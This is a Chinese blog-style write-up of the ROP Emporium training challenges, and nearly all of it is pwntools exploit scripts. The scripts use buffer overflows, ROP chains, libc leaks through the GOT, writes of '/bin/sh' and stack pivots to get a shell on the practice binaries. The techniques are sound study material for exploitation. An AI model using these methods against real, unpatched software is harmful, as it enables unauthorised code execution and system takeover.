ropemporium-all-writeup

前段时间k0师傅往群里发的一个网站,用来练习rop的题目,花了点时间做了
贴个官网链接
ropemporium

ret2win

i386

控制eip跳转到backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.log_level = 'debug'
#pwnme_addr = 0x080485F6
ret = 0x08048659
io = process("./ret2win32")

payload = ''.ljust(44,"A")
payload += p32(ret)

print io.recvuntil(">")

io.send(payload)

io.interactive()

amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.log_level = 'debug'
#pwnme_addr = 0x080485F6
ret = 0x0400824
io = process("./ret2win")

#payload = ''.ljust(88,"A")
payload = "A"*40
payload += p64(ret)

print io.recvuntil(">")

io.sendline(payload)

io.interactive()

split

i386

栈溢出控制eip后,跳转到system_plt 然后给system函数传参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.log_level = 'debug'

io = process("./split32")

elf = ELF("./split32")
system_addr = elf.symbols['system']
cat_flag = 0x0804A030

pay = "A"*44
pay += p32(system_addr)
pay += "BBBB"
pay += p32(cat_flag)

io.sendline(pay)

io.interactive()

amd64

64位下需要寄存器传参数,我们需要找到gadget

对于system 需要pop rdi,ret 将rdi清空后,传入参数返回到system_addr

我们可以用ropgadget来找gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges [14:50:11]
$ ROPgadget --binary ./split/split --only "pop|ret"
Gadgets information
============================================================
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

Unique gadgets found: 11

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges [14:48:35]
$ cat ./split/solve.py
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context.log_level = 'debug'

io = process("./split")

elf = ELF("./split")

system_addr = elf.symbols['system']

pop_rdi_ret = 0x0000000000400883
cat_flag_addr = 0x601060

io.recvuntil(">")

payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
payload += p64(pop_rdi_ret)+p64(cat_flag_addr)+p64(system_addr)

io.sendline(payload)

io.interactive()

callme

这个题目是考验选手对于参数传递和函数调用的知识,需要按照要求,以一定的参数,一定的顺序调用三个函数

###i386

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ cat ./callme32/solve.py
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'

io = process("./callme32")
pause()

pwnme_addr = 0x80487B6
call_me_one = 0x080485C0
call_me_two = 0x8048620
call_me_three = 0x080485B0

io.recvuntil(">")
payload = "CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
payload += p32(call_me_one)
payload += p32(pwnme_addr)
payload += p32(1)
payload += p32(2)
payload += p32(3)
gdb.attach(io,'break *0x8048801')
pause()
io.sendline(payload)
pause()

io.recvuntil(">")
payload = "CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
payload += p32(call_me_two)
payload += p32(pwnme_addr)
payload += p32(1)
payload += p32(2)
payload += p32(3)
pause()
io.sendline(payload)
pause()
time.sleep(1)
io.recvuntil(">")
payload = "CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
payload += p32(call_me_three)
payload += p32(pwnme_addr)
payload += p32(1)
payload += p32(2)
payload += p32(3)
pause()
io.sendline(payload)

amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges [14:54:13]
$ cat ./callme/solve.py
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']
io = process("./callme")
pause()
gdb.attach(io)
pwnme_addr = 0x401A05
call_me_one = 0x401850
call_me_two = 0x401870
call_me_three = 0x401810
pppr_addr = 0x0000000000401ab0
ret_addr = 0x00000000004017d9
io.recvuntil(">")
payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
payload += p64(pppr_addr)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(call_me_one)
payload += p64(ret_addr)
payload += p64(pwnme_addr)
#gdb.attach(io,'''break *0x401850''')
raw_input("callme_one")
io.sendline(payload)
#pause()

io.recvuntil(">")
payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
payload += p64(pppr_addr)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(call_me_two)
payload += p64(ret_addr)
payload += p64(pwnme_addr)
raw_input("callme_two")
io.sendline(payload)
#pause()
#time.sleep(1)
gdb.attach(io,'''break *0x401A4F''')
io.recvuntil(">")
payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
payload += p64(pppr_addr)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(call_me_three)
payload += p64(ret_addr)
payload += p64(pwnme_addr)
raw_input("callme_three")
io.sendline(payload)
#pause()
print io.recv(1024)
io.interactive()

write4

这个题目默认是系统开启了aslr,我们需要做一定的infoleak

i386

方法一 泄漏确定函数基址

对于新手来讲,信息泄漏可能有点问题,因为可能很难确定,咱们要取的打印出来值的范围。
栈溢出后,控制eip到printf_plt,然后我们打印printf_got所存放到函数地址

1
2
3
4
5
6
7
pay = ''
pay += "A"*44
pay += p32(printf_plt)
pay += p32(pwnme_addr)
pay += p32(printf_got)
with open ("paylaod","wb") as payload:
payload.write(pay)

构造如上到payload

我们先关闭aslr

1
2
3
➜  ~ sudo su
[sudo] password for swing:
root@ubuntu:/home/swing# echo 2 > /proc/sys/kernel/randomize_va_space


可以先从gdb中确定函数地址


hexdump 确定读取的偏移

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges/write432 [14:57:12]
$ cat solve.py
#!/usr/bin/env python
# coding=utf-8

from pwn import *



elf = ELF("./write432")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
pwnme_addr = 0x80485F6
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
system_plt = elf.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
printf_offset = libc.symbols['printf']

log.info("printf_plt:0x%x" % printf_plt)
log.info("pwnme_addr:0x%x" % pwnme_addr)
log.info("printf_got:0x%x" % printf_got)
log.info("system_plt:0x%x" % system_plt)
log.info("binsh_offset: 0x%x" % binsh_offset)

addr = 0x04A037
stdin = 0x0804A060

io = process("./write432")

context.log_level = 'debug'
#gdb.attach(io)

io.recvuntil('>')

pay = ''
pay += "A"*44
pay += p32(printf_plt)
pay += p32(pwnme_addr)
pay += p32(printf_got)

io.sendline(pay)

time.sleep(1)


printf_addr = u32(io.recvuntil("Go")[1:5])

binsh_addr = (printf_addr - printf_offset)+binsh_offset

log.info("printf_addr: 0x%x" %printf_addr)
log.info("binsh_addr : 0x%x" %binsh_addr)


print io.recvuntil('>')

pay = ''
pay += "A"*44
pay += p32(system_plt)
pay += "BBBB"
pay += p32(binsh_addr)
gdb.attach(io)
pause()
io.sendline(pay)
pause()
io.interactive()

方法二 泄漏 确定stdin地址,在一个可写的地址写入/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges/write432 [14:59:18]
$ cat solve2.py
#!/usr/bin/env python
# coding=utf-8


from pwn import *

context.log_level = 'debug'


elf = ELF("./write432")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

printf_plt = elf.plt['printf']
system_plt = elf.plt['system']
fgets_plt = elf.plt['fgets']

pwnme_addr = 0x80485F6
stdin = 0x0804A060
buf = 0x0804A028



io = process("./write432")
io.recvuntil(">")

pay = ''
pay += "A"*44
pay += p32(printf_plt)
pay += p32(pwnme_addr)
pay += p32(stdin)

#with open("payload_2","wb") as payload:
# payload.write(pay)
io.sendline(pay)

stdin_addr = u32(io.recvuntil("Go")[1:5])
print hex(stdin_addr)
log.info("stdin_addr : 0x%x" % stdin_addr)

io.recvuntil(">")
pay = ''
pay += "A"*44
pay += p32(fgets_plt)
pay += p32(pwnme_addr)
pay += p32(buf)
pay += p32(0x15)
pay += p32(stdin_addr)
gdb.attach(io)
pause()
io.sendline(pay)
pause()
io.sendline("/bin/sh")

pause()
io.recvuntil(">")
pay = ''
pay += "A"*44
pay += p32(system_plt)
pay += "BBBB"
pay += p32(buf)

io.sendline(pay)
io.recv()
io.interactive()

方法三 不需要泄漏,用gadget将bin/sh写入

程序存在 pop,ebp,pop edi,ret 和 mov edi,ebp这样的gadget
那么我可以将bin/sh 分两次写入我指定的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges/write432 [15:09:25]
$ cat sovle3.py
#!/usr/bin/env python
# coding=utf-8

from pwn import *



elf = ELF("./write432")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

pop_pop_ret = 0x080486da
mov_edi_ebp = 0x8048670
pwnme_addr = 0x80485F6
buf = 0x804a028
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
system_plt = elf.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
printf_offset = libc.symbols['printf']

log.info("printf_plt:0x%x" % printf_plt)
log.info("pwnme_addr:0x%x" % pwnme_addr)
log.info("printf_got:0x%x" % printf_got)
log.info("system_plt:0x%x" % system_plt)
log.info("binsh_offset: 0x%x" % binsh_offset)


context.log_level = 'debug'

io = process("./write432")

io.recvuntil('>')

pay = ''
pay += "A"*44
pay += p32(pop_pop_ret)
pay += p32(buf)
pay += '/bin'
pay += p32(mov_edi_ebp)
pay += p32(pop_pop_ret)
pay += p32(buf+4)
pay += '/sh\x00'
pay += p32(mov_edi_ebp)


pay += p32(system_plt)
pay += "BBBB"
pay += p32(buf)

io.sendline(pay)

io.interactive()%

amd64

我找不到适合printf的gadget 然后我改用puts进行泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges/write4 [15:11:51]
$ cat solve.py
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context.log_level = 'debug'



elf = ELF("./write4")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pwnme_addr = 0x4007B5
pop_rdi_ret = 0x400893

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
system_plt = elf.plt['system']

puts_offset = libc.symbols['puts']
binsh_offset = libc.search("/bin/sh").next()

io = process("./write4")
io.recvuntil(">")




pay = ''
pay += 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
pay += p64(pop_rdi_ret)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(pwnme_addr)

# with open("payload","wb") as payload:
# payload.write(pay)

#gdb.attach(io)
pause()
io.sendline(pay)

puts_addr = u64(io.recvuntil("Go")[1:7]+'\x00'*2)

binsh_addr = (puts_addr-puts_offset)+binsh_offset

log.info("puts_addr: 0x%x" % puts_addr)
log.info("binsh_addr: 0x%x" % binsh_addr)

io.recvuntil(">")

pay = ''
pay += 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
pay += p64(pop_rdi_ret)
pay += p64(binsh_addr)
pay += p64(system_plt)
pay += "B"*8


io.sendline(pay)

io.interactive()%

badchars

检查一定的字符不能用,并没有多大的影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges/write4 [15:11:53]
$ cat ../badchars32/solve.py
#!/usr/bin/env python
# coding=utf-8

from pwn import *
context.arch = 'i386'
context.terminal = ['tmux','splitw','-h']
io = process("./badchars32")
context.log_level = 'debug'

badchrs = ['0x62','0x69','0x63','0x2f','0x20','0x66','0x6e','0x73']
log.info(badchrs)

elf = ELF("./badchars32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
binsh_offset = libc.search("/bin/sh").next()

pwnme_addr = 0x80486B6
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
system_plt = elf.plt['system']

log.info("printf_plt:0x%x" % printf_plt)
log.info("printf_got:0x%x" % printf_got)

io.recvuntil(">")
pause()
#gdb.attach(io,'''break *0x0804878F''')
pay = ''
pay +="A"*44
pay += p32(printf_plt)
pay += p32(pwnme_addr)
pay += p32(printf_got)

with open ("payload","wb") as payload:
payload.write(pay)
pause()
io.sendline(pay)
pause()

printf_addr = u32(io.recvuntil("bad")[9:13])
system_addr = (printf_addr - printf_offset) + system_offset
binsh_addr = (printf_addr - printf_offset) + binsh_offset

log.info("printf_addr: 0x%x" % printf_addr)
log.info("system_addr : 0x%x" % system_addr)
log.info("binsh_addr : 0x%x" % binsh_addr)
gdb.attach(io,'''
break *0x8048869
break *0x804878F
''')
pause()
pay = ''
pay +="A"*44
pay +=p32(system_plt)
pay += "aaaa"
pay +=p32(binsh_addr)

io.recvuntil(">")
pause()
io.sendline(pay)
io.interactive()

fluff

emmm 这个 纯粹调用gadget完成的任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges/write4 [15:14:52] C:1
$ cat ../fluff32/solve.py
#!/usr/bin/env python
# coding=utf-8

import socket, time, struct, binascii
import telnetlib
from pwn import *


class Target():
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'

def __init__(self, ip=None, port=None, length=0xFFFF):
if not ip or not port:
return
print
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((ip, port))
self.length = length
self.rop = None
self.receive = None
self.log('Connected to target')
self.line = False

def iprocess(elf):
io = process(elf)

return io


def send(self, payload=None):
if not payload and self.rop:
payload = self.rop
if self.line:
payload += '\n'
self.line = False
self.socket.send(payload)

def sendline(self, payload=None):
self.line = True
self.send(payload)

def recv(self, l=None):
if not l:
l = self.length
time.sleep(2)
self.receive = self.socket.recv(l)
return self.receive

def create_rop(self, offset, gadgets):
p = 'A' * offset
self.log('Creating ROP Chain','i')
for gadget in gadgets:
if isinstance(gadget, (int, long)) and hex(gadget).startswith('0x'):
p += self.p(gadget)
print ' ',hex(gadget)
else:
p += gadget
print ' ',gadget
self.rop = p
return p

def recv_until(self, string):
buff = ''
while True:
x = self.socket.recv(1024)
buff += x
if x.strip() == string:
return buff

def log(self, a, t=None):
''''''
if not t:
t = self.OKBLUE + '+'
elif t == 'i':
t = self.HEADER + '*'
elif t == 'w':
t = self.WARNING + '!'
elif t == 'f':
t = self.FAIL + '!'
t = self.OKGREEN + '[' + t + self.OKGREEN + ']' + self.ENDC
print(t + ' %s' % (a))

def funcs(self, raw):
raw = raw.strip().split('\n')
t_dict = {}
for f in raw:
f = f.split()
f_name = f[1].replace('@','_')
f_addr = f[0]
t_dict[f_name] = int(f_addr, 16)
globals()[f_name] = int(f_addr,16)
self.functions = t_dict
return self.functions


def p(self, addr):
'''pack raw packets'''
return struct.pack('<L', addr)

def u(self, addr):
'''unpack raw packets'''
return struct.unpack('<L', addr)[0]

def hexdump(self, data=None, bytez=0):
info_msg = "\t\t------->Hex Dump<-------"
if not data:
data = self.recv()
info_msg = 'Hex Dump for last receive\n'
self.log(info_msg)
ndata = binascii.hexlify(data)
print "Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n"
ndata = list(self.chunks(ndata[:320],32))
offset = bytez
for each in ndata:
x = ' '.join(each[i:i+2] for i in range(0, len(each), 2))
printspace = " "*(10-len(hex(offset)))
print hex(offset) + printspace + x
offset += 16
print
return data

def chunks(self, l, n):
n = max(1, n)
return (l[i:i+n] for i in xrange(0, len(l), n))

def interactive(self, tty=None):
telnet = telnetlib.Telnet()
telnet.sock = self.socket
self.log('Switching to interactive session\n')
if tty:
telnet.write('python -c "import pty;pty.spawn(\'/bin/sh\')"\n')
telnet.interact()

def write_payload(self, file_name=None, payload=None):
if not file_name:
file_name = 'payload'
self.log('Writing payload to file : ' + file_name)
f = open(file_name, 'wb')
f.write(payload)
f.close()

addresses = '''
0x08048400 printf@plt
0x08048410 fgets@plt
0x08048420 puts@plt
0x08048430 system@plt
0x0804857b main
0x080485f6 pwnme
0x0804864c usefulFunction
0x08048670 questionableGadgets
'''

# gadgets
xor_edx_edx = 0x8048671
pop_ebx = 0x8048696
xor_edx_ebx = 0x804867b
xchg_edx_ecx = 0x8048689
mov_ecx_edx = 0x8048693


buffer_x = 0x804a028

PADDING_4 = 'P'*4
PADDING_8 = 'P'*8


BIN = '\x53bin'
SH = '\x7fsh\x00'


target = Target('127.0.0.1', 10001)
#target = process("./fluff32")
target.funcs(addresses)
target.create_rop(44, [ xor_edx_edx, PADDING_4, pop_ebx, buffer_x, xor_edx_ebx, PADDING_4, xchg_edx_ecx,
PADDING_4, xor_edx_edx, PADDING_4, pop_ebx, BIN, xor_edx_ebx, PADDING_4, mov_ecx_edx, PADDING_8,
xor_edx_edx, PADDING_4, pop_ebx, buffer_x+4, xor_edx_ebx, PADDING_4, xchg_edx_ecx,
PADDING_4, xor_edx_edx, PADDING_4, pop_ebx, SH, xor_edx_ebx, PADDING_4, mov_ecx_edx, PADDING_8,
system_plt, PADDING_4, buffer_x])
target.log('Sending ROP Chain')
target.sendline()
target.recv()
target.interactive(True)

pivot

这里的问题是堆栈上可用的空间很小,我们在返回指针后只有13bytes分配给堆栈。这意味着我们必须找到一个方法来到更多的空间。我们知道,由于ASLR,我们不能只使用堆栈地址来实现,而没有任何内存泄漏。此外,我们可以看到,我们的有效负载覆盖了EBP ,二进制文件给出了一些地址值。首先让我们看看我们所有的AAAA的地址,然后我们可以进一步确认 我的第一次输入的地址,

所以我们可以构造一次 覆盖ebp,然后返回到我们第一次输入的地方,去get flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# swing @ swingdeMacBook-Pro in ~/MyCTF/rop/rop_emporium_all_challenges/pivot32 [15:16:18]
$ cat solve.py
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context.log_level ='debug'
context.terminal =['tmux','splitw','-h']
io = process('./pivot32')

elf = ELF('./pivot32')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

foothold_function_plt = elf.plt['foothold_function']

leave_ret = 0x804889e
leakaddr = int(io.recv().split()[20], 16)
log.info("leakaddr: 0x%x" % leakaddr)
base_addr = leakaddr + 0x1d90f8 # 0xb7fd1000 - 0xb7df7f08 = 0x1d90f8 (0xf7df7000 - 0xf7df5f08)
ret_win_addr = base_addr + 0x967

log.info("base addr:0x%x" % base_addr)
log.info("ret_win_addr: 0x%x" % ret_win_addr)

pay = ''
pay += p32(foothold_function_plt)
pay += p32(ret_win_addr)

io.recvuntil('>')
io.sendline(pay)

pay = ''
pay += "A"*40
pay += "BBBB"
pay += p32(leakaddr)
pay += p32(leave_ret)
pause()
#gdb.attach(io)
pause()
io.recvuntil('>')
io.sendline(pay)
pause()
io.recv()
#flag = io.recvline()
#print flag
io.interactive()